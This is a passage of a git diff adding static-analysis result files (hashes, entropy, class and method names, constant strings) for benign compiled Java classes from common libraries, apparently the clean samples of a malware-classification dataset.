"6fc9029f-e4dc-4acb-ac20-924dc4d26d42", "verbose": {"java": {"constant strings": ["$proceed() cannot take more than one parameter for cast"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c935669f15e87b45fe6cbade4d8435e3864e9c2e", "file_name": "java_clean/14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843", "_id": "6fc9029f-e4dc-4acb-ac20-924dc4d26d42", "score": 0, "entropy": 5.41969951732596, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1765, "ssdeep": "24:jgbVoN5uljyNGiNKj0wSkmWHJ1uk8iQNUqmTVMFamGm7IUM+uaxdp:UbVoN4lgGMDkhj8iqUqERmGm8Unuax7", "sha256": "14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843", "md5": "b443d9f21fa3399044723fda692d85d8", "parent_sha256": "14d499f2d69a0bd90ef2614afc1cf199abddfca83cf743ba330e23a067db2843"}} \ No newline at end of file diff --git a/java_classification/data/clean/15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93.results b/java_classification/data/clean/15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93.results new file mode 100755 index 0000000..3e0225a --- /dev/null +++ b/java_classification/data/clean/15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/CompiledStatementExecutor", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 46, "method_names": ["", "execute", "executeImpl", "executeCallStatement", "executeDeleteStatement", "executeInsertSelectStatement", "executeInsertValuesStatement", "executeSelectStatement", "executeUpdateStatement", "executeDDLStatement"], "minor_version": 0, "const_pool_count": 340}}, "_id": "23cf0cf1-a932-4b26-bf89-0a3bc076f2c1", "verbose": {"java": {"constant strings": ["@p0"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "59dc41230747cafbef9f4653204248b6b4eec587", "file_name": "java_clean/15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93", "_id": "23cf0cf1-a932-4b26-bf89-0a3bc076f2c1", "score": 0, "entropy": 5.927520180247022, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 5920, "ssdeep": "96:CVZm0kK+/5Qk3J08KpTD6iPZOHAnwoZhrNhUwhd6yeNN4Ujd8+e+MZRPAcJ:AwKC5QQypvPNZPv/eoU5xsP9", "sha256": "15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93", "md5": "e4598534fe5ea0b8cd5ebda94d4cbda0", "parent_sha256": "15a2e84afbb911c40eb172dd8c0ebc91c494ab870ba46a642573c409b8b05f93"}} \ No newline at end of file diff --git a/java_classification/data/clean/15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc.results b/java_classification/data/clean/15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc.results new file mode 100755 index 0000000..0b8d46d --- /dev/null +++ b/java_classification/data/clean/15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/httpclient/params/DefaultHttpParamsFactory", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/httpclient/params/HttpParamsFactory"], "sourcefile": "DefaultHttpParamsFactory.java", "method_names": ["", "getDefaultParams", "createParams", "class$"], "minor_version": 3, "const_pool_count": 218}}, "_id": "65c965c2-4a50-45d7-a164-df159cd345d2", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.9247358320378165, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "netscape"}}}, "constant strings": ["http.useragent", "Jakarta Commons-HttpClient/3.0", "org.apache.commons.httpclient.SimpleHttpConnectionManager", "rfc2109", "US-ASCII", "ISO-8859-1", "http.method.retry-handler", "EEE, dd MMM yyyy HH:mm:ss zzz", "EEEE, dd-MMM-yy HH:mm:ss zzz", "EEE MMM d HH:mm:ss yyyy", "EEE, dd-MMM-yyyy HH:mm:ss z", "EEE, dd-MMM-yyyy HH-mm-ss z", "EEE, dd MMM yy HH:mm:ss z", "EEE dd-MMM-yyyy HH:mm:ss z", "EEE dd MMM yyyy HH:mm:ss z", "EEE dd-MMM-yyyy HH-mm-ss z", "EEE dd-MMM-yy HH:mm:ss z", "EEE dd MMM yy HH:mm:ss z", "EEE,dd-MMM-yy HH:mm:ss z", "EEE,dd-MMM-yyyy HH:mm:ss z", "EEE, dd-MM-yyyy HH:mm:ss z", "http.dateparser.patterns", "httpclient.useragent", "httpclient.authentication.preemptive", "true", "http.authentication.preemptive", "false", "apache.commons.httpclient.cookiespec", "COMPATIBILITY", "compatibility", "NETSCAPE_DRAFT", "netscape", "RFC2109"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1872541740ffb10ebbf85c7a4c01585ef0090f39", "file_name": "java_clean/15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc", "_id": "65c965c2-4a50-45d7-a164-df159cd345d2", "score": 0, "entropy": 5.871902649183774, "libmagic": "compiled Java class data, version 45.3", "file_size": 4279, "ssdeep": "48:mMH0LrxKbTjdyyFlxE/0jqHFIRknFsLCt7T15zyac1I5Bh/7sA+ESjGalod8dDwl:7geT9FlxiYkn+gT1dUiB76bx1ev694", "sha256": "15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc", "md5": "d3c3e391033b122dc86030209dbffb92", "parent_sha256": "15f573a45be33d7ecad8a34915fe96e629322427a9041a3950f16756531437cc"}} \ No newline at end of file diff --git a/java_classification/data/clean/16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524.results b/java_classification/data/clean/16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524.results new file mode 100755 index 0000000..0dd99b0 --- /dev/null +++ b/java_classification/data/clean/16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/FastArrayList$SubList", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/List"], "sourcefile": "FastArrayList.java", "method_names": ["", "get", "clear", "remove", "removeAll", "retainAll", "size", "isEmpty", "contains", "containsAll", "toArray", "toArray", "equals", "hashCode", "add", "addAll", "add", "addAll", "remove", "set", "iterator", "listIterator", "listIterator", "get", "indexOf", "lastIndexOf", "subList", "access$000", "access$100", "access$210", "access$208"], "minor_version": 3, "const_pool_count": 169}}, "_id": "ecf25be8-6ff9-4383-9984-d7bbea9668b3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9d9b6f68f9c0f5777b557bbe9d8f07d768c656fc", "file_name": "java_clean/16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524", "_id": "ecf25be8-6ff9-4383-9984-d7bbea9668b3", "score": 0, "entropy": 5.35909412298977, "libmagic": "compiled Java class data, version 45.3", "file_size": 7516, "ssdeep": "96:dAVl04IRFPVgNcYm4UaJZdAysIwsz2vo2G:dUl04IRFPVgRmgJZdNsIaG", "sha256": "16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524", "md5": "a880bd70fdd10581b84d768de7a917b5", "parent_sha256": "16f82f0a1ee5aa0cc8354659593bdd7c69ad20157c597742f05b3e97f89de524"}} \ No newline at end of file diff --git a/java_classification/data/clean/17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b.results b/java_classification/data/clean/17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b.results new file mode 100755 index 0000000..7a2fa7f --- /dev/null +++ b/java_classification/data/clean/17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Parameter.java", "class_name": "com/codeminders/hamake/params/Parameter", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["get"], "minor_version": 0, "const_pool_count": 12}}, "_id": "762f9910-f7b2-43a9-a491-589c54951754", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8a0a57b301d60979879d37efe749ea913f6385b7", "file_name": "java_clean/17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b", "_id": "762f9910-f7b2-43a9-a491-589c54951754", "score": 0, "entropy": 4.950006269298878, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 254, "ssdeep": "6:U2GqnfAMdYTeXMOwdXh7zEDAMd0SRPlEEcY+t:AqoP0MOwvfgRtEEat", "sha256": "17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b", "md5": "ed958e81bc76e80e577d4dae53510815", "parent_sha256": "17b93e4328e33de3632b07e2a0672ca96be770c8841c8744f571570320a8811b"}} \ No newline at end of file diff --git a/java_classification/data/clean/17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d.results b/java_classification/data/clean/17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d.results new file mode 100755 index 0000000..ef4717d --- /dev/null +++ b/java_classification/data/clean/17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/dfs/datanode/metrics/DataNodeStatistics", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/dfs/datanode/metrics/DataNodeStatisticsMBean"], "sourcefile": "DataNodeStatistics.java", "method_names": ["", "shutdown", "resetAllMinMax", "getBlocksRead", "getBlocksRemoved", "getBlocksReplicated", "getBlocksWritten", "getBytesRead", "getBlockVerificationFailures", "getBlocksVerified", "getReadsFromLocalClient", "getReadsFromRemoteClient", "getWritesFromLocalClient", "getWritesFromRemoteClient", "getReadBlockOpAverageTime", "getReadBlockOpMaxTime", "getReadBlockOpMinTime", "getReadBlockOpNum", "getReadMetadataOpAverageTime", "getReadMetadataOpMaxTime", "getReadMetadataOpMinTime", "getReadMetadataOpNum", "getReplaceBlockOpAverageTime", "getReplaceBlockOpMaxTime", "getReplaceBlockOpMinTime", "getReplaceBlockOpNum", "getWriteBlockOpAverageTime", "getWriteBlockOpMaxTime", "getWriteBlockOpMinTime", "getWriteBlockOpNum", "getCopyBlockOpAverageTime", "getCopyBlockOpMaxTime", "getCopyBlockOpMinTime", "getCopyBlockOpNum", "getBlockReportsAverageTime", "getBlockReportsMaxTime", "getBlockReportsMinTime", "getBlockReportsNum", "getHeartbeatsAverageTime", "getHeartbeatsMaxTime", "getHeartbeatsMinTime", "getHeartbeatsNum"], "minor_version": 0, "const_pool_count": 201}}, "_id": "579c1bde-7c0f-4e9f-b280-d037bcbb3daa", "verbose": {"java": {"constant strings": ["", "DataNode-UndefinedStorageId", "DataNode-", "DataNodeStatistics"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8eaf1e58e5b98e65cfdcb21a40e09d1f39983f18", "file_name": "java_clean/17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d", "_id": "579c1bde-7c0f-4e9f-b280-d037bcbb3daa", "score": 0, "entropy": 4.996843737697498, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6238, "ssdeep": "192:bzfNlPpmrpqAtiT4hmX81Kv/YJxADNkQteD/6t0JFkzS+v8V7GNoE:bzVtU0AtiT4hmX81Kv/YJxADNkQteD/I", "sha256": "17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d", "md5": "6ac23c44095064f61c16b8c9db188bbc", "parent_sha256": "17fae2b6e214f6c3bfd63b2b6c990f82086e2dfe2a992d5e913a46d6aa88573d"}} \ No newline at end of file diff --git a/java_classification/data/clean/1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f.results b/java_classification/data/clean/1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f.results new file mode 100755 index 0000000..37ad4ff --- /dev/null +++ b/java_classification/data/clean/1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/map/AbstractHashedMap$HashEntry", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Map$Entry", "org/apache/commons/collections/KeyValue"], "sourcefile": "AbstractHashedMap.java", "method_names": ["", "getKey", "getValue", "setValue", "equals", "hashCode", "toString"], "minor_version": 3, "const_pool_count": 81}}, "_id": "d0df1920-b5d2-4d48-adf5-d01f4e79385e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "529ecf7b11d759fb861c9a4b646415030944ea68", "file_name": "java_clean/1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f", "_id": "d0df1920-b5d2-4d48-adf5-d01f4e79385e", "score": 0, "entropy": 5.325148989674486, "libmagic": "compiled Java class data, version 45.3", "file_size": 1936, "ssdeep": "24:cqlwf0HJ9Ie+ZAghqpuulj6br7F2xGmxQOCAbF8T5+H9/BJ5IOh51cboqJQf6pMn:Z6lygheTlGbrJVF3RTc73ho7QfP3hJ", "sha256": "1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f", "md5": "8599c93d4466781116d73a8d9e72232f", "parent_sha256": "1808905701588cc3e9cfef779adf6b8213f3828c2b80ae1b9db4600161ecbc6f"}} \ No newline at end of file diff --git a/java_classification/data/clean/18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073.results b/java_classification/data/clean/18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073.results new file mode 100755 index 0000000..96eea2a --- /dev/null +++ b/java_classification/data/clean/18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/types/JavaObject", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "getBytes", "getBytesLength", "getObject", "toString"], "minor_version": 0, "const_pool_count": 50}}, "_id": "3c630b19-41e8-48b0-a052-340b0b955357", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a3128217753d008e684a3fbdd9a41f8127948624", "file_name": "java_clean/18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073", "_id": "3c630b19-41e8-48b0-a052-340b0b955357", "score": 0, "entropy": 5.2262143150041185, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 880, "ssdeep": "24:S+65C/K6n/tMAcbFzqm/K7CHR/di6nlbaUKL:71lMAcbFPj1nRML", "sha256": "18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073", "md5": "1ae6c9b3c3648d02c920ff0023f36a32", "parent_sha256": "18e2c806720c60d31700eaf8860e9212e1bf4157a2a7b601ba230a3329b80073"}} \ No newline at end of file diff --git a/java_classification/data/clean/19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af.results b/java_classification/data/clean/19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af.results new file mode 100755 index 0000000..0ea1cae --- /dev/null +++ b/java_classification/data/clean/19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DataOutputBuffer.java", "class_name": "org/apache/hadoop/io/DataOutputBuffer$Buffer", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["getData", "getLength", "reset", "", "", "write"], "minor_version": 0, "const_pool_count": 65}}, "_id": "c20ffd04-aae4-402a-b66a-e3df283487ed", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bf1525bcd5325b540950a8948d6c059f71d62dd0", "file_name": "java_clean/19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af", "_id": "c20ffd04-aae4-402a-b66a-e3df283487ed", "score": 0, "entropy": 5.087906257565071, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1319, "ssdeep": "24:qjulj6S/JtpYHyNsUL8nKL/JKaes7W/F2AmmSmN2az4cmAZS6f5bU4xlQ0I:LlGSRbYHeHyKLRdeZ923dBcNZBfTI", "sha256": "19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af", "md5": "ce2082cbcfad61a348180fc95c14aa74", "parent_sha256": "19061336986ad0cf807c1b2c61a6017d0f36a25059538614248ef90e9da375af"}} \ No newline at end of file diff --git a/java_classification/data/clean/1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1.results b/java_classification/data/clean/1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1.results new file mode 100755 index 0000000..04abf4e --- /dev/null +++ b/java_classification/data/clean/1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/jets3t/service/impl/soap/axis/_2006_03_01/ListEntry", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "ListEntry.java", "method_names": ["", "", "getKey", "setKey", "getLastModified", "setLastModified", "getETag", "setETag", "getSize", "setSize", "getOwner", "setOwner", "getStorageClass", "setStorageClass", "equals", "hashCode", "getTypeDesc", "getSerializer", "getDeserializer", "class$", ""], "minor_version": 0, "const_pool_count": 235}}, "_id": "172501da-b0fe-471a-b4a5-2abf7048754c", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.934214237204529, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "StorageClass"}}}, "constant strings": ["org.jets3t.service.impl.soap.axis._2006_03_01.ListEntry", "http://s3.amazonaws.com/doc/2006-03-01/", "ListEntry", "key", "Key", "http://www.w3.org/2001/XMLSchema", "string", "lastModified", "LastModified", "dateTime", "ETag", "size", "Size", "long", "owner", "Owner", "CanonicalUser", "storageClass", "StorageClass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9668d09195e0cd6c8a2d0e6f9c178611bcecb888", "file_name": "java_clean/1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1", "_id": "172501da-b0fe-471a-b4a5-2abf7048754c", "score": 0, "entropy": 5.600553644883185, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 6391, "ssdeep": "96:9EWTrt+s9Flxf9U9ZdeT3gwDQE436U/lgJFk2Q0lSVm6dOf3+9gIH:KQrbXlN9UPdaCaR/YmoOf+T", "sha256": "1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1", "md5": "8176b61016092bc55ba06fa7b4bc9146", "parent_sha256": "1a5516ae6014193f1ff0bdc7b97c09bb7328c32140e82c49afc99ba7a95534a1"}} \ No newline at end of file diff --git a/java_classification/data/clean/1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0.results b/java_classification/data/clean/1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0.results new file mode 100755 index 0000000..037be2c --- /dev/null +++ b/java_classification/data/clean/1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/ResearchProductionScreen$4", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "ResearchProductionScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 33}}, "_id": "6b93878e-3ae8-4f9a-b741-27ffad45fad2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "abdd0572444714c609dd9fa89b9135b03cf21f33", "file_name": "java_clean/1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0", "_id": "6b93878e-3ae8-4f9a-b741-27ffad45fad2", "score": 0, "entropy": 5.071875791458358, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 756, "ssdeep": "12:51L2QRgwzPLWCNZLqYuZ9lPsoRLy5QLM8lg84SYDyiUSDCHDQd+2bl:51iQOwLiCNZbU9ljRjQ0TUhb", "sha256": "1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0", "md5": "28d5700b26a7917963c608b683c7383b", "parent_sha256": "1b1e4d234a32af427dfb61dd120ad15e919bb58d9271468b6d3fe2fc5fbc48a0"}} \ No newline at end of file diff --git a/java_classification/data/clean/1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28.results b/java_classification/data/clean/1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28.results new file mode 100755 index 0000000..072f915 --- /dev/null +++ b/java_classification/data/clean/1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/MapConstraints$ConstrainedAsMapValues$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "MapConstraints.java", "method_names": ["", "hasNext", "next", "remove", "next"], "minor_version": 0, "const_pool_count": 67}}, "_id": "f7c221b6-dc62-433d-9c17-746b698075de", "verbose": {"java": {"signatures": ["()Ljava/util/Collection;", "Ljava/lang/Object;Ljava/util/Iterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7640b6a338b799e586ac4be4f1285680a00cad07", "file_name": "java_clean/1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28", "_id": "f7c221b6-dc62-433d-9c17-746b698075de", "score": 0, "entropy": 5.143327735579681, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1716, "ssdeep": "24:p60O8Z8B6uN6e88ulj7t67ht6dpznos8eogILlx3kr6H58Rv6x085JIw7n/C++3N:pgBFNslViTPnmU6Pw7/C++1/6Ip8dO3z", "sha256": "1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28", "md5": "8a2fe6ac3e171cdd7dde7053a9aaf8da", "parent_sha256": "1b750ec5afe78cd95a58f7928df332c6624e1b62ea87670627f166819bea9c28"}} \ No newline at end of file diff --git a/java_classification/data/clean/1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4.results b/java_classification/data/clean/1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4.results new file mode 100755 index 0000000..903e980 --- /dev/null +++ b/java_classification/data/clean/1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/launcher/Launcher$11", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "Launcher.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 41}}, "_id": "03986466-4c77-49f2-ab5d-4f85a35571ec", "verbose": {"java": {"constant strings": ["-continue"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6c16960b9c097b2b2d9565e51f0d6dfc804d140f", "file_name": "java_clean/1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4", "_id": "03986466-4c77-49f2-ab5d-4f85a35571ec", "score": 0, "entropy": 5.172498481817683, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 802, "ssdeep": "12:BoV6RViVVnXWNjjVQuZ9lPsogjVy901Q7MBiVKuHMc6jcMyiUWAcDCfxy1d0u/l:uV6qVnXQVQU9ljCVFQOiVKbX8L8X0a", "sha256": "1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4", "md5": "3ea5806ea777b8205cc63e2f4c59eb4b", "parent_sha256": "1c064b61375827ca958034a06a8837c231adbab82108f622f7c034e7e76d81a4"}} \ No newline at end of file diff --git a/java_classification/data/clean/1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466.results b/java_classification/data/clean/1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466.results new file mode 100755 index 0000000..44a2535 --- /dev/null +++ b/java_classification/data/clean/1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/LoadSaveScreen$20", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "LoadSaveScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 71}}, "_id": "4a9be250-02fe-4616-b631-c1761f5eaaf0", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"], "constant strings": ["%"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "15430ff4cdf58c842b944ffc364cb9e374ba89e4", "file_name": "java_clean/1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466", "_id": "4a9be250-02fe-4616-b631-c1761f5eaaf0", "score": 0, "entropy": 5.2732977497007445, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1393, "ssdeep": "24:qLWf+ZL/1IL4U9ljCVLgYJjLgIL+hz/4glMcEvR+iE5aKf7:GW2h/1Q4U9logYBNazVa3EIKD", "sha256": "1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466", "md5": "d1df1bb95e705d6f1bd13359b9d9a591", "parent_sha256": "1c94109f09cedaac735e59775886122d2000c268f2743a817177e758ab019466"}} \ No newline at end of file diff --git a/java_classification/data/clean/1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735.results b/java_classification/data/clean/1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735.results new file mode 100755 index 0000000..8f448ef --- /dev/null +++ b/java_classification/data/clean/1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/AttackPlanner$9", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "AttackPlanner.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 68}}, "_id": "bd062b39-1cff-4825-bb9a-018b29860bd1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "70711e1f6306ff655c291b1b943c4690ea870b47", "file_name": "java_clean/1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735", "_id": "bd062b39-1cff-4825-bb9a-018b29860bd1", "score": 0, "entropy": 5.390535712157078, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1255, "ssdeep": "24:DOwUaqNjUTkrJljMeI18k1huAE1U0/FWmf4OK/JThxenAyd:DOVaquT4lQeM1hOn/QCuJTLmAyd", "sha256": "1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735", "md5": "c37acf47a62e72a21d01153497d10986", "parent_sha256": "1d43d686381cfe741c12a54489d54c56d643db3bcf3982e74301b74a94187735"}} \ No newline at end of file diff --git a/java_classification/data/clean/1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b.results b/java_classification/data/clean/1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b.results new file mode 100755 index 0000000..5a0acd6 --- /dev/null +++ b/java_classification/data/clean/1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SuiteMethod.java", "class_name": "org/junit/internal/runners/SuiteMethod", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "testFromSuiteMethod"], "minor_version": 0, "const_pool_count": 93}}, "_id": "9fef1d1b-b295-4794-bb72-94bb872a46c6", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V", "(Ljava/lang/Class<*>;)Ljunit/framework/Test;"], "constant strings": ["suite", ".suite() must be static"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "087071c7e8fbc7e6b89579e2b22880c79c9991d4", "file_name": "java_clean/1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b", "_id": "9fef1d1b-b295-4794-bb72-94bb872a46c6", "score": 0, "entropy": 5.444682804725322, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1809, "ssdeep": "24:r3+NiNWuljx+dNF1ErByDajjfnLUyRMd09JbVTMddjnRp/:Oubl85Er0DajbIyqG93Sd7", "sha256": "1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b", "md5": "cdcbc2c4ce61fbf7b661647e9e9f28f5", "parent_sha256": "1d46ed9bc680c664d32fca1678c1fe81599eb3442835f6de241914d98a1a142b"}} \ No newline at end of file diff --git a/java_classification/data/clean/1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff.results b/java_classification/data/clean/1d550666c1fc961cf1c45236d2d623e874f99e7d3ffbb7fce7e89832d88433ff.results new file mode 100755 index 0000000..0cce402 --- /dev/null +++ 